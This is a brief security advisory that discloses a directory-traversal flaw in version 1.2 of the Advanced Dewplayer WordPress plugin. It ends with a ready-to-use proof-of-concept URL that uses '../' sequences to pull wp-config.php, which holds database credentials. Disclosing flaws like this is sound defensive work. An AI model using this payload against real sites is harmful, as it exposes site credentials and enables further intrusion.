source: https://www.securityfocus.com/bid/64587/info

The Advanced Dewplayer plugin for WordPress is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue can allow an attacker to obtain sensitive information that could aid in further attacks.

Advanced Dewplayer 1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/advanced-dewplayer/admin-panel/download-file.php?dew_file=../../../../wp-config.php